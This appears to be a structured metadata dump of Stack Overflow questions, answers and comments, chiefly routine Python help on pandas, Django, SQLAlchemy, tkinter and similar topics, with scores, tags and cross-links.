has body: i have following sample text and need to pass all lines of text to tuple/list based on a word "ALL Banks Report".. the raw text as follows %Bank PARSED MESSAGE FILE %VERSION : PIL 98.7 %nex MODULE : SIL 98 2018 Jan 31 16:44:53.050 ALL Banks Report SBI name id ID = 0, ID = 58 Freq = 180 conserved NEXT: message c1 : ABC1 : { XYZ2 } 2018 Jan 31 16:44:43.050 ALL Banks Report HDFC conserved LATE: World ::= { Asia c1 : EastAsia : { India } } ...like so many repitions i want to pass tuple/List/array based on a word "ALL Banks Report" so that in list[0] the following goes 2018 Jan 31 16:44:53.050 ALL Banks Report SBI name id ID = 0, ID = 58 Freq = 180 conserved NEXT: message c1 : ABC1 : { XYZ2 } and in list[1] the rest goes like below 2018 Jan 31 16:44:43.050 ALL Banks Report HDFC conserved LATE: World ::= { Asia c1 : EastAsia : { India } }
has answer: http://stackoverflow.com/a/48738195
tagged with: python

http://stackoverflow.com/comment/84513720
type: QuestionComment
has text: @roganjosh Thanks, that's helpful. It is similar to _converting_ to `int` by a multiplier in that you have to estimate a multiplier, `m` that satisfies `(1/step_size) < m < 1/precision_error`
comment on: http://stackoverflow.com/q/48755701
score: 0
type: Comment

http://stackoverflow.com/q/48648408
has title: DataTables Refresh Django Ajax Data on CRUD Operations
type: Question
has answer: http://stackoverflow.com/a/60537782
tagged with: javascript
answer count: 2
tagged with: datatables
downvote count: 0
tagged with: jquery
favorite count: 0
has body: I have a Django project with an Analytic model. This model is a list of analytics. It has a ForeignKeyField and a ManyToMany Field. The end goal is to have the user go to a URL where they can view a list of Analytics in a DataTable, create a new analytic, edit analytics, and delete analytics. Using this tutorial: https://simpleisbetterthancomplex.com/tutorial/2016/11/15/how-to-implement-a-crud-using-ajax-and-json.html, I accomplished all of these objectives in a regular Bootstrap HTML table (i.e. not in a DataTable). When I attempted to introduce a DataTable to the mix, I discovered that my DataTable was pulling from the HTML/DOM source, so it was not updating unless the page was refreshed. So I then realized that I need to either configure the DataTable to initially pull from HTML/DOM and then pull from AJAX, or I need to initially use Ajax as the source. It turns out, regular Django does not do a good job of serializing ManyToMany fields, so I opted to use DRF to serialize my Analytic model. This works to a degree: the JSON output looks decent, and the results show up in my DataTable. However, the data is still not updating when an Ajax call is made. In addition, DataTables does not really allow inline buttons for editing/deleting, which is why it was necessary to manually write those buttons into the HTML in the first place. Question: How do I force a DataTable that is sourcing from HTML/DOM to update its data without refreshing the page when an Ajax CRUD operation is performed? views.py: def analytic_list(request): analytics = Analytic.objects.all().select_related('analyticCategory').prefetch_related('dataSources') return render(request, 'analytics/analytic_list.html', {'analytics':analytics}) def save_analytic_form(request, form, template_name): data = dict() if request.method == 'POST': if form.is_valid(): form.save() data['form_is_valid'] = True analytics = Analytic.objects.all() data['html_analytic_list'] = render_to_string('analytics/includes/partial_analyt…
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/48651682
score: 1
tagged with: django
upvote count: 1

http://stackoverflow.com/a/48681360
score: 2
has body: The pool is not closed before exit from go() coroutine and loop stopping. Use async with aiopg.create_pool() instead of await aiopg.create_pool() or explicitly call pool.close()/await pool.await_closed() at the end of coroutine.
answers question: http://stackoverflow.com/q/48673117
downvote count: 0
type: Answer
upvote count: 2

http://stackoverflow.com/a/48794700
accepted answer of: http://stackoverflow.com/q/48794491
answers question: http://stackoverflow.com/q/48794491
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/115181130
type: Answer
upvote count: 7
has body: I have discovered it is possible if the pyarrow engine is used instead of the default fastparquet: pip/conda install pyarrow then: df.to_parquet('somefile', engine='pyarrow') The docs for fastparquet at https://github.com/dask/fastparquet/ say "only simple data-types and plain encoding are supported", so I guess that means no arrays.
score: 7

http://stackoverflow.com/q/48802427
has comment: http://stackoverflow.com/comment/84607535
has comment: http://stackoverflow.com/comment/84607953
possible better answer: http://stackoverflow.com/a/48802619
has comment: http://stackoverflow.com/comment/84607578
has comment: http://stackoverflow.com/comment/84607423
has comment: http://stackoverflow.com/comment/84607587
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/84607419
accepted answer: http://stackoverflow.com/a/48802493
upvote count: 1
has comment: http://stackoverflow.com/comment/84607452
type: AnsweredQuestion
has title: Python 3: Why we don't need return in this situation?
downvote count: 3
has comment: http://stackoverflow.com/comment/84609680
has comment: http://stackoverflow.com/comment/84607430
has comment: http://stackoverflow.com/comment/84607460
type: Question
has answer: http://stackoverflow.com/a/48802619
answer count: 2
has body: Here is my code I've tried: import csv f = open("nfl.csv", "r") nfl = list(csv.reader(f)) patriots_wins = 0 for each in nfl: if each[2] == "New England Patriots": patriots_wins = patriots_wins + 1 return patriots_wins print(patriots_wins) It gives the below error: SyntaxError: 'return' outside function
has answer: http://stackoverflow.com/a/48802493
score: -2
linked to: http://stackoverflow.com/q/14924820

http://stackoverflow.com/comment/84377478
score: 0
comment on: http://stackoverflow.com/q/48689317
type: Comment
type: QuestionComment
has text: There is no code just i installed django-haystack and solr-4 and trying to run this command :python manage.py rebuild_index

http://stackoverflow.com/a/48700151
has comment: http://stackoverflow.com/comment/84399256
score: 0
has comment: http://stackoverflow.com/comment/84398917
type: Answer
has body: You were not handling the condition where a wrong input that is other than integer is provided. Try this. It will fix your issue as till such user fulfills the requirements it will not be allowed to move forward : def mysquare(n): result = n**2 return result while True : try : a = int(input("Please enter the number: ")) break except : print("You provided wrong data. Try again.") print (mysquare(a))
answers question: http://stackoverflow.com/q/48700095
has comment: http://stackoverflow.com/comment/84399100

http://stackoverflow.com/q/48682565
has answer: http://stackoverflow.com/a/48683477
has comment: http://stackoverflow.com/comment/84363112
tagged with: python
has body: I have a python project structured like this: root/ __init__.py coolstuff.py moduleA/ __init__.py myscript.py When my working directory is moduleA, how can I run myscript.py, knowing that it needs to have access to coolstuff ? EDIT: I am aware of the $PYTHONPATH solution but I would like to know which other solutions exist
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48683482
type: Question
has comment: http://stackoverflow.com/comment/84362455
has comment: http://stackoverflow.com/comment/84363685
tagged with: python-2.7
linked to: http://stackoverflow.com/q/72852
has title: Run a python script as part of its parent module
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/84363745
has answer: http://stackoverflow.com/a/48683050
accepted answer: http://stackoverflow.com/a/48683050
possible better answer: http://stackoverflow.com/a/48683477
has comment: http://stackoverflow.com/comment/84363632

http://stackoverflow.com/q/48686113
type: Question
linked to: http://stackoverflow.com/q/34589332
has comment: http://stackoverflow.com/comment/84369786
accepted answer: http://stackoverflow.com/a/48686336
score: 0
has title: Converting Python dictionary to Pandas Data Frame
answer count: 1
tagged with: python
has body: I have a python dictionary,dict1 where keys are integer &amp; values are string. I want to create a pandas data frame with this dictionary.Can you please suggest me how to do that in python 3.X? I used following code df_i=pd.DataFrame(dict1,columns=['num_int','num_str']) But got error message ValueError: If using all scalar values, you must pass an index I also tried the steps mentioned in here but I got output like 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13,... for all the rows My sample dictionary looks like 1: '031155233', 2: '031420399', 3: '031442593', 4: '032952341', 5: '033141410', 6: '033404365', 7: '033423523', 8: '033461055', 9: '012025663', 10: '012322156', 11: '021422395', 12: '036145459', 13: '035910162', 14: '042144641', 15: '042525232', 16: '040535923', 17: '042523604', 18: '029090230', 19: '012402315',
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48686336

http://stackoverflow.com/comment/84358040
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48680405
has text: @Roman, It did not work

http://stackoverflow.com/q/48773658
has body: Objective: click on plus button and a plus sign appears in the entry box I have a very simple code here: basic=tk.Tk() basic_label=tk.Label('Welcome to Basic Math section. \n \n Note: Please enter white spaces between objects, \n e.g. 5 + 6 \n NOT 5+6') entry=tk.Entry() userInput=str(entry.get()) input1, op, input2=UserInput.split(' ') #casting inputs input1=int(input1) input2=int(input2) plus=tk.Button(text='+', command=??) What do I put in the command?
duplicate of: http://stackoverflow.com/q/16373887
tagged with: user-interface
has answer: http://stackoverflow.com/a/48774035
has comment: http://stackoverflow.com/comment/84549171
favorite count: 0
has comment: http://stackoverflow.com/comment/84548849
tagged with: tkinter
type: UnansweredQuestion
tagged with: python
type: Question
has answer: http://stackoverflow.com/a/48774023
answer count: 2
downvote count: 4
has title: Use a button to enter text into Entry box in python's tkinter
upvote count: 0
linked to: http://stackoverflow.com/q/16373887
score: -4

http://stackoverflow.com/a/50837907
answers question: http://stackoverflow.com/q/48707999
type: Answer
has body: I think you need add a session.flush() after the first add. Flush will basically communicate your changes to the database in a pending state. Commit will actually write them to the database. child = Child(id='some_id', other_field="blah") session.add(child) session.flush() other = Other(id="some_other_id", reference_to_parent='some_id') session.add(other) session.commit()
upvote count: 5
score: 5
downvote count: 0

http://stackoverflow.com/q/48707021
has body: I'm trying to run a python script using the webpage I created in pug, express in node. I'm more familar with python than node. Using the below how can I run the python script? I have python shell included but not sure how to run the python script when I click the button on the pug webpage. server.js // require all dependencies var express = require('express'); var app = express(); var PythonShell = require('python-shell'); // set up the template engine app.set('views', './views'); app.set('view engine', 'pug'); var options = { mode: 'text', pythonOptions: ['-u'], scriptPath: '../hello.py', args: ['value1', 'value2', 'value3'] }; // GET response for '/' app.get('/', function (req, res) { // render the 'index' template, and pass in a few variables res.render('index', { title: 'Hey', message: 'Hello' }); PythonShell.run('hello.py', options, function (err, results) { if (err) throw err; // results is an array consisting of messages collected during execution console.log('results: %j', results); }); }); // start up the server app.listen(3000, function () { console.log('Listening on http://localhost:3000'); }); index.pug html head title= title body h1= message a(href="http://www.google.com"): button(type="button") Run python script
has title: Node how to run python script when clicking button using pug and express node website
tagged with: pugjs
accepted answer: http://stackoverflow.com/a/48748103
downvote count: 0
tagged with: javascript
score: 2
tagged with: pug
type: AnsweredQuestion
favorite count: 0
type: Question
upvote count: 2
possible better answer: http://stackoverflow.com/a/48747786
answer count: 2
has answer: http://stackoverflow.com/a/48748103
tagged with: python
has answer: http://stackoverflow.com/a/48747786
tagged with: node.js

http://stackoverflow.com/q/48709478
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84464122
tagged with: pymc3
tagged with: python-multiprocessing
type: Question
has comment: http://stackoverflow.com/comment/84496399
tagged with: theano
has body: I have a model that seems to run smoothly. I initialize my nuts sampler with a metropolis sample, and the metropolis sample completes without trouble. It then moves into the nuts sampler, completes all iterations, but then hangs. I have tried: Restarting the kernel Clearing my theano cache Rebooting the computer and restarting the docker it runs in Metropolis sampling with multiple chains does complete and then terminate. Changing the seed or model specification slightly makes the model terminate sometimes. But since it's not erroring out, I'm not sure how to troubleshoot. When I interrupt the process, it's always stuck in the same place. The output is pasted below. Any help diagnosing the problem would be much appreciated. Code for my sample is here: with my_model: start_trace = pm.sample(7000,step=pm.Metropolis()) start_sds = {} nms = start_trace.varnames for i in nms: start_sds[i]=start_trace[i].std() with my_model: step = pm.NUTS(scaling=my_model.dict_to_array(start_sds)**2, is_cov=True) signal_trace = pm.sample(500,step=step,start=start_trace[-1],njobs=3) It finishes sampling. The first progress bar is for the metropolis sample, the second for NUTS: 100%|██████████| 7000/7000 [00:09&lt;00:00, 718.51it/s] 100%|██████████| 500/500 [01:37&lt;00:00, 1.47s/it] Looking at top, there are four processes, each using about the same amount of memory, but only one of them is using a cpu. Usually, when it terminates properly, it ends about the time the other 3 processes stop using cpu. The fact that these other processes stop suggests that it has finished sampling, and the issue has something to do with terminating the multi-processing. It sits until I interrupt, (I've left it over night), and I get the following error: Process ForkPoolWorker-1: KeyboardInterrupt Process ForkPoolWorker-3: Traceback (most recent call last): Traceback (most recent call last): File "/usr/lib/python3.4/multiprocessing/process.py", line 254, in _bootstrap self.run() File "/usr/lib/python3.4/mult…
score: 0
has title: PyMC3 hangs after completing NUTS sampling
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84496331
answer count: 0

http://stackoverflow.com/comment/84334599
has text: @goodvibration: Sure, unless you have a collection of different loggers. Like those in third-party libraries, or in your own larger application.
comment on: http://stackoverflow.com/a/48668151
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84547796
type: Comment
type: QuestionComment
has text: So, hope i can solve this
comment on: http://stackoverflow.com/q/48770154
score: 0

http://stackoverflow.com/comment/84406655
has text: You are correct that the file was dumped by MySQL. How would I go about editing the .sql file to conform to SQLite's standards?
comment on: http://stackoverflow.com/a/48704083
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84719803
type: AnswerComment
type: Comment
score: 1
has text: @NarūnasK My `_control_c_watcher` example shows you how to make sure that control-C is always delivered to a single task, so it acts similar to the threads case. Threads also create a lot of other challenges, so I wouldn't choose just based on control-C handling, but of course you should use whatever works for you. One thing to consider though: there's no way to cancel a thread, so how are you going to wake up the receive thread when you want to exit?
comment on: http://stackoverflow.com/a/48801439

http://stackoverflow.com/comment/84506838
type: QuestionComment
has text: You can't if you use `repr(..)` (or `str(..)` on lists/tuples), since a `repr` basically aims to produce an expression, that will generate the object in represents again. You can construct a string where the quotes are removed, but only for printing purposes.
score: 1
type: Comment
comment on: http://stackoverflow.com/q/48753114

http://stackoverflow.com/a/48661613
has comment: http://stackoverflow.com/comment/84343557
score: 6
has comment: http://stackoverflow.com/comment/84323385
has comment: http://stackoverflow.com/comment/84353021
answers question: http://stackoverflow.com/q/48659165
downvote count: 0
has comment: http://stackoverflow.com/comment/84437800
has body: The full list of options is documented in YoutubeDL.py. If you only want to replicate command-line options, you can also have a look in __init__.py. To replicate --embed-thumbnail and --add-metadata, use the following: from __future__ import unicode_literals import youtube_dl ydl_opts = { 'writethumbnail': True, 'postprocessors': [{ 'key': 'FFmpegMetadata' }, { 'key': 'EmbedThumbnail', 'already_have_thumbnail': True, # overwrite any thumbnails already present }], } with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download(['https://www.youtube.com/watch?v=BaW_jenozKc'])
has comment: http://stackoverflow.com/comment/84343462
has comment: http://stackoverflow.com/comment/84349532
type: Answer
has comment: http://stackoverflow.com/comment/84349169
upvote count: 6
has comment: http://stackoverflow.com/comment/84325239
has comment: http://stackoverflow.com/comment/84350185
has comment: http://stackoverflow.com/comment/84323635
has comment: http://stackoverflow.com/comment/84359931
has comment: http://stackoverflow.com/comment/84350279
has comment: http://stackoverflow.com/comment/84432124

http://stackoverflow.com/comment/84483786
type: Comment
type: QuestionComment
has text: So, are the Graphviz executables (`dot` and friends) installed on your system, or not? You can download an installer from https://www.graphviz.org/download/.
comment on: http://stackoverflow.com/q/48736428
score: 1

http://stackoverflow.com/comment/84588826
has text: _What_ should give: PROJ1/LOB1? What does creating the reverse dict have to do with inputting a `1` and getting the desire result (from _something_)?
comment on: http://stackoverflow.com/q/48792474
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/84375165
has text: Thx. No, I have tried with `pointeurwritefile.close()` at the end of this program. No change.
type: Comment
comment on: http://stackoverflow.com/q/48666806
type: QuestionComment
score: 0

http://stackoverflow.com/comment/84589925
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48789745
has text: @Code-Apprentice because of the OOP conditions. I mean we need that be static.

http://stackoverflow.com/comment/84566956
type: QuestionComment
has text: The following is an excerpt from the guide that likely relates to the questions at hand though I dont fully grasp the information: **Layers package together both the variables and the operations that act on them, . For example a densely-connected layer performs a weighted sum across all inputs for each output and applies an optional activation function. The connection weights and biases are managed by the layer object.**
comment on: http://stackoverflow.com/q/48782500
score: 0
type: Comment

http://stackoverflow.com/comment/84433303
comment on: http://stackoverflow.com/a/48716716
type: AnswerComment
score: 1
type: Comment
has text: I recommend you ask a new question. Stackoverflow is not only a plateform to help users, but only to gather and organize answers for future use. Thus creating another question would be the correct practice. Cheers!

http://stackoverflow.com/comment/106440924
type: AnswerComment
score: 0
type: Comment
has text: Doesn't always work if there are duplicates in input strings: "abcadaf" and "acabcf"
comment on: http://stackoverflow.com/a/48653758

http://stackoverflow.com/q/48667043
has body: I have a df with many columns that represent the market cap of companies that compose an index. The index of the df is dates. Every 63 days/rows I would like to eliminate,for the next 63 days/rows all the values except the 500 greatest ones. In other words: for the first 63 days/rows the only values that should be displayed are the ones from companies whose market cap was in the largest 500 in the first row. for example: [in]: pd.DataFrame(np.array([[1, 1, 0.5], [5 ,2, 10], [1,3, 10],[4,2, 10]]), columns=['a', 'b','c']) [out]: a b c 0 1.0 1.0 0.5 1 5.0 2.0 10.0 2 1.0 3.0 10.0 3 4.0 2.0 10.0 Suppose in this example I would like to use 2 days/rows. the desired output would be: a b c 0 1.0 1.0 NaN 1 5.0 2.0 NaN 2 NaN 3.0 10.0 3 NaN 2.0 10.0 This is the code I am using now. It works, but take forever. for x in range(0,len(dfcap)/63 - 1): lst = list() for value in dfcap.iloc[x*63].nlargest(500): lst.append((dfcap == value).idxmax(axis=1)[x*63]) for column in dfcap.columns: for n in range(x*63,x*63 + 63): if column not in lst: dfcap[column][n] = 0
has answer: http://stackoverflow.com/a/48693868
tagged with: pandas
has comment: http://stackoverflow.com/comment/84332098
tagged with: finance
tagged with: python
favorite count: 0
score: 2
has comment: http://stackoverflow.com/comment/84331870
upvote count: 2
accepted answer: http://stackoverflow.com/a/48693868
type: AnsweredQuestion
tagged with: dataframe
type: Question
answer count: 1
downvote count: 0
has title: How to eliminate nested loops in a dataframe

http://stackoverflow.com/a/48723381
type: AcceptedAnswer
type: Answer
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/48723327
has body: You could use a nested list comprehension: result = ['{}q{}'.format(y, q+1) for y in range(2000, 2003) for q in range(4)]
answers question: http://stackoverflow.com/q/48723327
downvote count: 0

http://stackoverflow.com/comment/84496358
type: Comment
comment on: http://stackoverflow.com/a/48742574
score: 0
type: AnswerComment
has text: You have to supply a tuple of sub-blocks for creating the block matrix directly. It would be better if you create an IndexedRowMatix and convert it to BlockMatrix. I have added an example to make it clear to you.

http://stackoverflow.com/q/48686393
type: UnansweredQuestion
tagged with: web-scraping
type: Question
has body: I have a small question regarding my webscraper. I am trying to scrape the rating per review of a website on trustpilot. Let's take for instance https://www.trustpilot.com/review/www.amazon.com Even though i managed to scrape the review content and title, i can't seem to get a hold of the amount of stars given (1 to 5). If i look at the html code, it doesn't show 'text' so i can assign the specific class to it (like i did with content and title). However, the amount of stars given is mentioned in the class description itself - a 5-star ratings has the element : div class=''star-rating count-5 size-medium clearfix''. a 2-star rating the following: iv class=''star-rating count-2 size-medium clearfix'' This class is located within: div class="review-info clearfix" Does anybody know how I can scrape the literal class, or only the count-x element per review?
answer count: 1
has title: Scraping literal class description in Python 3 using lxml xpath
score: 0
tagged with: lxml
tagged with: python
has answer: http://stackoverflow.com/a/48686778

http://stackoverflow.com/q/48763272
type: UnansweredQuestion
tagged with: selenium
type: Question
has answer: http://stackoverflow.com/a/48766364
has comment: http://stackoverflow.com/comment/84527143
has title: unable to locate element error in python when element is clearly present
has comment: http://stackoverflow.com/comment/84527010
linked to: http://stackoverflow.com/q/35258079
has comment: http://stackoverflow.com/comment/84538221
answer count: 2
has body: from selenium import webdriver from selenium.webdriver.common.keys import Keys import httpagentparser driver = webdriver.Firefox() driver.get("https://www.google.co.in/") elem = driver.find_element_by_name("q") elem.clear() elem.send_keys("user agent online") elem.send_keys(Keys.RETURN) ua=driver.find_element_by_class_name("_Mqr") uaa=httpagentparser.simple_detect(ua) driver.close() i even tried implicit_wait() but it does not work and still returns element not found exception.please help me with this problem.
tagged with: selenium-firefoxdriver
score: 0
has comment: http://stackoverflow.com/comment/84527933
tagged with: python
tagged with: selenium-webdriver
has comment: http://stackoverflow.com/comment/84529088
has answer: http://stackoverflow.com/a/48763378

http://stackoverflow.com/q/48653893
has title: merging two dataframes with same rows and indexes in pandas
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/84305933
has comment: http://stackoverflow.com/comment/84306149
has comment: http://stackoverflow.com/comment/84307173
favorite count: 0
tagged with: python
tagged with: merge
has answer: http://stackoverflow.com/a/48654091
accepted answer: http://stackoverflow.com/a/48654091
type: AnsweredQuestion
tagged with: dataframe
has body: I'm trying to merge two pandas dataframes that have common row indexes and common columns 0,1,2 but different column 3, so the resulting dataframe has columns from both: First dataframe: &lt;class 'pandas.core.frame.DataFrame'&gt; RangeIndex: 817 entries, 0 to 816 Data columns (total 3 columns): 0 817 non-null int64 1 817 non-null int64 2 817 non-null float64 dtypes: float64(1), int64(2) memory usage: 19.2 KB 0 1 2 0 1950 1 -0.060310 1 1950 2 0.626810 2 1950 3 -0.008128 3 1950 4 0.555100 4 1950 5 0.071577 Second dataframe: &lt;class 'pandas.core.frame.DataFrame'&gt; RangeIndex: 817 entries, 0 to 816 Data columns (total 3 columns): 0 817 non-null int64 1 817 non-null int64 2 817 non-null float64 dtypes: float64(1), int64(2) memory usage: 19.2 KB 0 1 2 0 1950 1 0.92 1 1950 2 0.40 2 1950 3 -0.36 3 1950 4 0.73 4 1950 5 -0.59 So far I tried with merge: pd.merge(df, df2, left_index=True, right_index=True, how='outer') But results are not what I expect: 0_x 1_x 2_x 0_y 1_y 2_y 0 1950 1 -0.060310 1950 1 0.92 1 1950 2 0.626810 1950 2 0.40 2 1950 3 -0.008128 1950 3 -0.36 3 1950 4 0.555100 1950 4 0.73 4 1950 5 0.071577 1950 5 -0.59 And with concat: pd.concat([df, df2], axis=1, ignore_index=True).head() 0 1 2 3 4 5 0 1950 1 -0.060310 1950 1 0.92 1 1950 2 0.626810 1950 2 0.40 2 1950 3 -0.008128 1950 3 -0.36 3 1950 4 0.555100 1950 4 0.73 4 1950 5 0.071577 1950 5 -0.59 I'm expecting something like 0 1 2 3 0 1950 1 -0.060310 0.92 1 1950 2 0.626810 0.40 2 1950 3 -0.008128 -0.36 3 1950 4 0.555100 0.73 4 1950 5 0.071577 -0.59 EDIT: Maybe I was unclear and I apologize if so, I'm trying to add the last column from the second dataset in the resulting one, so I have the same year, month, value1 and then value2 columns
has comment: http://stackoverflow.com/comment/84305926
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/48654497
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/84313098
possible better answer: http://stackoverflow.com/a/48654497

http://stackoverflow.com/q/48757463
has body: I'm trying to understand what this argument does, the TF api docs for AdamOptimizer's compute_gradients method say the following - colocate_gradients_with_ops: If True, try colocating gradients with the corresponding op. but it is not clear to me. What does colocating gradients mean in this context and what is the said op?
favorite count: 0
type: Question
tagged with: python
answer count: 1
accepted answer: http://stackoverflow.com/a/50443584
score: 4
tagged with: tensorflow
upvote count: 4
downvote count: 0
has answer: http://stackoverflow.com/a/50443584
has title: colocate_gradients_with_ops argument in TensorFlow?
type: AnsweredQuestion

http://stackoverflow.com/q/48702706
downvote count: 0
answer count: 1
score: 16
has title: Why does SQLAlchemy not update relations after object deletion?
favorite count: 0
type: UnansweredQuestion
tagged with: python
upvote count: 16
has answer: http://stackoverflow.com/a/69595170
tagged with: orm
has body: Problem Within the same session, after deletion of an object, the relation attributes of other objects in the session that included or pointed to this deleted object are not updated. In short: sesion.add(a, b) a.parent = b print(a.parent) # b session.delete(b) print(a.parent) # b The complete, reproducible example is below. Material I have read at length SQLA doc, including: the misleading part on 'deleting from collections'. Misleading becasue it makes you think this lack of update after deletion is restricted to collections. The example below shows it's not. the part on the cascades, and especially the 'delete-orphan'. This is not what I am looking for since I do not want all removal of relation to delete the related object. Potential solution Individual objects and even single object attributes can be manually set to be reloaded using session.expire(). I thought the ORM was responsible for doing this job :-) Questions Have I missed a simple solution? Have I missed a place in the doc where it's explicitly written and explained? (I spent quite some time narrowing down the problem) Is there a reason why SQLAlchemy doesn't / cannot mark for update the relations tied to an object that is removed? Code Example SQLA Setup from sqlalchemy import create_engine, Table, Column, Integer, String, ForeignKey from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship, backref, sessionmaker engine = create_engine('sqlite:///:memory:', echo=True) Base = declarative_base() Session = sessionmaker(bind=engine) session = Session() Model definition class Country(Base): __tablename__ = 'countries' id = Column(Integer(), primary_key=True) name = Column(String(255)) def __repr__(self): return '&lt;Country {} [{}]&gt;'.format(self.name, self.id) class Capital(Base): __tablename__ = 'capitals' id = Column(Integer(), primary_key=True) name = Column(String(255)) country_id = Column(Integer(), ForeignKey(Country.id), unique=True) country = relationship('Co…
tagged with: sqlalchemy
type: Question

http://stackoverflow.com/comment/84302295
type: QuestionComment
comment on: http://stackoverflow.com/q/48645927
score: 0
type: Comment
has text: @Splatmistro updated. thanks.

http://stackoverflow.com/comment/84391580
comment on: http://stackoverflow.com/q/48696397
score: 2
type: Comment
has text: imported_numbers does not return anything.
type: QuestionComment

http://stackoverflow.com/q/48784664
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48784732
has title: Excluding fields while using Values()
has comment: http://stackoverflow.com/comment/84571235
has body: I have a model XYZ(name,age,sex), I am fetching all the fields using XYZ.objects.filter(name='ddd').values() this is returning all the fields in dict. How to exclude the field age? I have tried the following, but it not working XYZ.objects.filter(name='').exclude('sex').values()
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/139419335
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/16854659
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84572655
favorite count: 0
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/84570704

http://stackoverflow.com/comment/84499128
has text: Please, give us more info i.e. sample of file content and pattern that you are using.
type: QuestionComment
comment on: http://stackoverflow.com/q/48749335
score: 0
type: Comment

http://stackoverflow.com/q/48679692
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48680010
has comment: http://stackoverflow.com/comment/84356629
tagged with: ssh
tagged with: python
has title: Running a local Python script on a remote machine with Expect
type: AnsweredQuestion
score: 3
upvote count: 3
has body: I have a python script on my local machine, which just prints "hello world". I want to run this script on a remote machine via ssh, using Expect. I am using Expect to automate entering the password. Entering the following commands to the command line runs the local script on the remote machine, however they require the user to enter the password: ssh abcd@111.222.333.44 python &lt; hello .py or cat hello.py | ssh abcd@111.222.333.44 python - The following .exp script automates entering the password, but runs a script which is already on the remote machine. #!/usr/bin/expect spawn ssh abcd@111.222.333.44 python &lt; hello.py set pass "1" expect { password: { send "$pass\r"; exp_continue } } If hello.py file is not found on the remote machine, I get the following message: "bash: hello.py: No such file or directory". Can anyone help me please? Thanks in advance. Edit: I do not want to first copy the script to the remote machine and then execute it. I tried and it works, but simply I do not want to run it this way.
accepted answer: http://stackoverflow.com/a/48680010
type: Question
has comment: http://stackoverflow.com/comment/84356554
has comment: http://stackoverflow.com/comment/84356663
tagged with: expect
tagged with: bash

http://stackoverflow.com/comment/84481530
has text: [Regex with in operator](https://docs.mongodb.com/manual/reference/operator/query/regex/#in-expressions)
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48740879

http://stackoverflow.com/comment/84550447
score: 1
has text: Please read why a [screenshot of HTML or code or error is a bad idea](https://meta.stackoverflow.com/questions/303812/discourage-screenshots-of-code-and-or-errors). Consider updating the Question with formatted text based relevant HTML, code trials and error stack trace.
comment on: http://stackoverflow.com/q/48774422
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48677624
type: Question
has body: I have created a csv file and added headers to the file and i am also giving the values to the headers. How can i give 2 values to one header, Suppose in the code written below. is it possible if "column3" can have two values 3 and 4 and in CSV file if could actually see a column containing 2 values ? Headers_of_csv = ["Column1","Column2","Column2"] csv_writer = csv.DictWriter(mycsv,fieldnames=Headers_of_csv) csv_writer.writeheader() csv_writer.writerow({"Column1":1,"Column2":2,"Coulmn3":(3,4,5,6)}) #is it possible to assign multiple values here CSV Representation: |Column1| Column2| Coulmn3| Row1 | 1 | 2 | 3 | | | | 4 | | | | 5 | | | | 6 | _ _ _ _ | _ _ _ |_ _ _ _ _ |_ _ _ _ _|_ Row2 X X X is it possible to assign 2 values to coulmn 3 ?
upvote count: 0
score: -2
accepted answer: http://stackoverflow.com/a/48677684
has comment: http://stackoverflow.com/comment/84353176
answer count: 1
favorite count: 0
tagged with: file-handling
tagged with: python-3.x
downvote count: 2
has comment: http://stackoverflow.com/comment/84353210
tagged with: python
has answer: http://stackoverflow.com/a/48677684
type: AnsweredQuestion
has title: how to give two or more than two values to a CSV cell in python

http://stackoverflow.com/q/48732705
has answer: http://stackoverflow.com/a/48733027
type: UnansweredQuestion
score: -3
downvote count: 3
tagged with: python
tagged with: linked-list
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/84464610
type: Question
tagged with: struct
has comment: http://stackoverflow.com/comment/84464532
has body: I'm trying to create a LinkedList Data Structure in C by using Struct. Below I have two examples, one that works and one that doesn't. Firstly, the python version is what I'm trying to recreate with C (which is below python), and yes this is the peace of code that is working. I'm trying to get my C version to work but I'm not sure what wrong with it. Could someone try to solve my problem? or even provide a better solution? Thanks in advance! Python version class Node: pass start = Node() point = start point.val = 1 point.next = Node() point = point.next point.val = 2 point.next = Node() point = point.next point.val = 3 point.next = None Attempt in C #include &lt;stdio.h&gt; struct Node { struct Node *next; int val; }; int main() { struct Node start; struct Node pointer = start; int i; for (i = 0; i &lt; 4; i++) { struct Node another; another.val = i; pointer.next = &amp;another; pointer = *(pointer.next); } pointer = start; // Print out the value for (i = 0; i &lt; 4; i++) { printf("%d\n", pointer.val); pointer = *(pointer.next); } return 0; }
upvote count: 0
answer count: 1
has title: How do I created a LinkedList structure in C
favorite count: 0

http://stackoverflow.com/comment/84358262
comment on: http://stackoverflow.com/a/48665272
score: 0
type: AnswerComment
type: Comment
has text: @JohnZwinck I was referring to [PEP 8](https://www.python.org/dev/peps/pep-0008/) which AFAIK is in widespread use.

http://stackoverflow.com/comment/84329837
type: QuestionComment
comment on: http://stackoverflow.com/q/48665974
